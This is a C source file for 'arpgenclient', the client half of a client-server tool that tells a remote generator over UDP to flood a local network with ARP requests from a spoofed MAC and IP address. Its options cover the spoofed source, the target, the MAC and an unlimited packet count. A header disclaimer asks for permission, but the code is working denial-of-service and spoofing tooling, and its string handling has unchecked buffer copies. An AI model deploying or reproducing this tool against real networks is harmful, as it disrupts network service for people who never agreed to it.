/* 
 * arpgenclient, written by Javaman
 *
 * Generates a flood of arp requests from a spoofed ethernet and
 * IP address.  Works as a client-server pair.  The server is
 * installed on a host and this program, the client, sends a request
 * over UDP to start the flood.
 *
 * This is a demonstration that an arp request flood would be
 * a practical attack on a local network.  This should absolutly
 * not be used on a network unless permission is attained from
 * the network administrator.
 *
 * Requires libnet
 */
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <libnet.h>

void sendrequest(char *schar, char *tchar, char *mchar, char *lchar, char *generator);
void help (void);

int main(int argc, char **argv)
{
	char schar[200], tchar[200], gchar[200], lchar[200]; 
	char mchar[20] = "03:13:37:D0:0D:69";

	char i;

	/* If no arguments are supplied, display command line args and quit.*/
	if (argc == 1) {
		help();
		exit(0);
	}

	/* Parse command line arguments with getopt() */
	while ((i = getopt(argc, argv, "g:s:t:m:n:")) != EOF) {
		switch (i) {
			case 'g':
				strncpy(gchar, optarg, 200);
				break;

			case 's':
				strncpy(schar, optarg, 200);
				break; 

			case 't':
				strncpy(tchar, optarg, 200);
				break;

			case 'm':
				strncpy(mchar, optarg, 20);
				break;

			case 'n':
				strncpy(lchar, optarg, 200);
				break;
		}
	}

	sendrequest(schar, tchar, mchar, lchar, gchar);
}

void sendrequest(char *schar, char *tchar, char *mchar, char *lchar, char *generator) {
	char passmessage[1000];
	int listen_socket, sock_size, datalength;
	struct sockaddr_in client_addr, serv_addr;
	struct hostent *servp;

	strncpy(passmessage, schar, 200);
	strcat(passmessage, "\t");
	strncat(passmessage, tchar, 200);
	strcat(passmessage, "\t");
	strncat(passmessage, mchar, 200);
	strcat(passmessage, "\t");
	strncat(passmessage, lchar, 200);
	strcat(passmessage, "\0");

	datalength = strlen(passmessage) + 1;

	if ((listen_socket = socket(AF_INET, SOCK_DGRAM, 0)) < 0) {
		perror("cannot create socket\n");
		exit(1);
	}

	bzero((char *) &client_addr, sizeof(client_addr));
	client_addr.sin_family = AF_INET;
	client_addr.sin_addr.s_addr = htonl(INADDR_ANY);
	client_addr.sin_port = htons(0);

	if (bind(listen_socket, (struct sockaddr *) &client_addr, sizeof(client_addr)) < 0) {
		perror("bind failed\n");
		exit(1);
	}

	bzero((char *) &serv_addr, sizeof(serv_addr));
	serv_addr.sin_family = AF_INET;
	serv_addr.sin_port = htons(6969);
	servp = gethostbyname(generator);

	if (servp == 0) {
		fprintf(stderr, "Cannot parse %s\n", generator);
		exit(1);
	}

	bcopy(servp->h_addr_list[0], (caddr_t) &serv_addr.sin_addr, servp->h_length);
	sock_size = sizeof(serv_addr);


	if(sendto(listen_socket, passmessage, datalength, 0, (struct sockaddr *) &serv_addr, sock_size) != datalength) {
		perror("Failed to send\n");
		exit(1);
	}
}

void help(void)
{
	printf("arpgenclient by Javaman\n");
	printf("For information purposes only.\n");
	printf("Options:\n");
	printf("\t-g\tGenerator IP\n");
	printf("\t-s\tSource IP to generate replies\n");
	printf("\t-t\tTarget IP of replies from source\n");
	printf("\t-m\tSpoofed MAC Address in colon notation.  (AA:BB:CC:DD:EE:FF)\n");
	printf("\t-n\tNumber of packets to generate (default = 0 = infinite)\n");
}
